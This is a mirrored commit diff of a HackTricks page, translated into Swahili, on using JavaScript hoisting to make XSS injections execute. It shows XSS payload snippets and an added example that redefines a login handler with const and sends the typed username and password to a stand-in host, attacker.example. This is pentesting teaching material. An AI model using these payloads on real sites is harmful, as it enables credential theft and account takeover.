mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting
This commit is contained in:
parent
f9ebe8b2d6
commit
cf29c0f7da
File diff suppressed because it is too large
Load Diff
@ -4,29 +4,29 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Katika lugha ya JavaScript, mekanismu inayojulikana kama **Hoisting** inaelezewa ambapo matangazo ya mabadiliko, kazi, madarasa, au uagizaji yanaelekezwa kwa dhana juu ya upeo wao kabla ya msimbo kutekelezwa. Mchakato huu unafanywa kiotomatiki na injini ya JavaScript, ambayo inapitia skripti katika vipitisho vingi.
|
||||
Katika lugha ya JavaScript, kuna utaratibu unaoitwa **Hoisting** ambapo tamko za variables, functions, classes, au imports kwa dhana huinuliwa juu ya scope yao kabla ya msimbo kutekelezwa. Mchakato huu hufanywa kiotomatiki na JavaScript engine, ambayo hupitia script kwa vipindi vingi.
|
||||
|
||||
Wakati wa kipitisho cha kwanza, injini inachambua msimbo ili kuangalia makosa ya sintaksia na kuubadilisha kuwa mti wa sintaksia wa kiabstrakti. Awamu hii inajumuisha hoisting, mchakato ambapo matangazo fulani yanahamishwa juu ya muktadha wa utekelezaji. Ikiwa awamu ya uchambuzi inafanikiwa, ikionyesha hakuna makosa ya sintaksia, utekelezaji wa skripti unaendelea.
|
||||
Wakati wa pass ya kwanza, engine inachambua msimbo kuangalia syntax errors na kuubadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani huhamishwa hadi juu ya execution context. Ikiwa hatua ya parsing itafanikiwa, ikionyesha hakuna syntax errors, utekelezaji wa script unaendelea.
|
||||
|
||||
Ni muhimu kuelewa kwamba:
|
||||
|
||||
1. Skripti lazima iwe huru na makosa ya sintaksia ili utekelezaji ufanyike. Sheria za sintaksia lazima zifuatwe kwa ukali.
|
||||
2. Mahali pa msimbo ndani ya skripti yanaathiri utekelezaji kutokana na hoisting, ingawa msimbo uliofanywa unaweza kutofautiana na uwakilishi wake wa maandiko.
|
||||
1. Script inapaswa kuwa haina syntax errors ili utekelezaji uanze. Sheria za syntax lazima zizingatiwe kikamilifu.
|
||||
2. Nafasi ya msimbo ndani ya script inaathiri utekelezaji kutokana na hoisting, ingawa msimbo unaotekelezwa unaweza kutofautiana na muundo wake wa maandishi.
|
||||
|
||||
#### Types of Hoisting
|
||||
|
||||
Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript:
|
||||
Kulingana na MDN, kuna aina nne tofauti za hoisting katika JavaScript:
|
||||
|
||||
1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya mabadiliko ndani ya upeo wake kabla ya mstari wake wa matangazo.
|
||||
2. **Declaration Hoisting**: Inaruhusu kurejelea mabadiliko ndani ya upeo wake kabla ya matangazo yake bila kusababisha `ReferenceError`, lakini thamani ya mabadiliko itakuwa `undefined`.
|
||||
3. Aina hii inabadilisha tabia ndani ya upeo wake kutokana na matangizo ya mabadiliko kabla ya mstari wake wa matangizo halisi.
|
||||
4. Athari za upande wa matangizo hutokea kabla ya msimbo mwingine unaoihusisha kutathminiwa.
|
||||
1. **Value Hoisting**: Inaruhusu matumizi ya thamani ya variable ndani ya scope yake kabla ya mstari wake wa declaration.
|
||||
2. **Declaration Hoisting**: Inaruhusu kurejelea variable ndani ya scope kabla ya declaration yake bila kusababisha `ReferenceError`, lakini thamani ya variable itakuwa `undefined`.
|
||||
3. Aina hii inabadilisha tabia ndani ya scope kutokana na tamko la variable kabla ya mstari wake halisi wa declaration.
|
||||
4. Madhara ya tamko yanatokea kabla ya sehemu nyingine za msimbo zinazojumuisha tamko hilo kuangaliwa.
|
||||
|
||||
Kwa undani, matangizo ya kazi yanaonyesha tabia ya hoisting aina 1. Neno la `var` linaonyesha tabia ya aina 2. Matangazo ya kisheria, ambayo yanajumuisha `let`, `const`, na `class`, yanaonyesha tabia ya aina 3. Mwishowe, taarifa za `import` ni za kipekee kwa kuwa zina hoisted na tabia za aina 1 na aina 4.
|
||||
Kwa undani, function declarations zinaonyesha tabia ya hoisting ya aina ya 1. `var` inadhihirisha tabia ya aina ya 2. Lexical declarations, ambazo ni pamoja na `let`, `const`, na `class`, zinaonyesha tabia ya aina ya 3. Mwishowe, statements za `import` ni za kipekee kwa kuwa zinahoisted kwa tabia za aina ya 1 na aina ya 4.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Hivyo ikiwa una hali ambapo unaweza **Kuingiza msimbo wa JS baada ya kitu kisichotangazwa** kutumika, unaweza **kurekebisha sintaksia** kwa kutangaza (ili msimbo wako utekelezwe badala ya kutupa makosa):
|
||||
Kwa hiyo ikiwa una matukio ambapo unaweza **Inject JS code after an undeclared object** inatumiwa, unaweza **fix the syntax** kwa kuitangaza (hivyo msimbo wako unatekelezwa badala ya kutoa error):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -68,7 +68,7 @@ alert(1);
|
||||
test.cookie("leo", "INJECTION")
|
||||
test[("cookie", "injection")]
|
||||
```
|
||||
## Mifanozo Zaidi
|
||||
## Matukio Mengine
|
||||
```javascript
|
||||
// Undeclared var accessing to an undeclared method
|
||||
x.y(1,INJECTION)
|
||||
@ -127,11 +127,31 @@ alert(1) -
|
||||
},
|
||||
})
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Zuia tamko za baadaye kwa kufunga jina kwa const
|
||||
|
||||
Ikiwa unaweza kutekeleza kabla ya `function foo(){...}` ya ngazi ya juu kusomwa, kutangaza lexical binding kwa jina lile lile (mf., `const foo = ...`) kutaizuia tamko la function la baadaye kuunganisha tena kitambulisho hicho. Hii inaweza kutumika vibaya katika RXSS kuchukua udhibiti wa handlers muhimu zilizofafanuliwa baadaye kwenye ukurasa:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value)
|
||||
const user = Trim(FormInput.InputUtente.value)
|
||||
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
|
||||
}
|
||||
|
||||
// Later, the legitimate page tries to declare:
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Vidokezo
|
||||
- Hii inategemea mpangilio wa utekelezaji na global (top-level) scope.
|
||||
- Ikiwa payload yako inatekelezwa ndani ya `eval()`, kumbuka kwamba `const/let` ndani ya `eval` ni block-scoped na hazitaunda global bindings. Ingiza element mpya ya `<script>` yenye code ili kuanzisha `const` ya kweli ya global.
|
||||
|
||||
## Marejeo
|
||||
|
||||
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
|
||||
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
|
||||
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user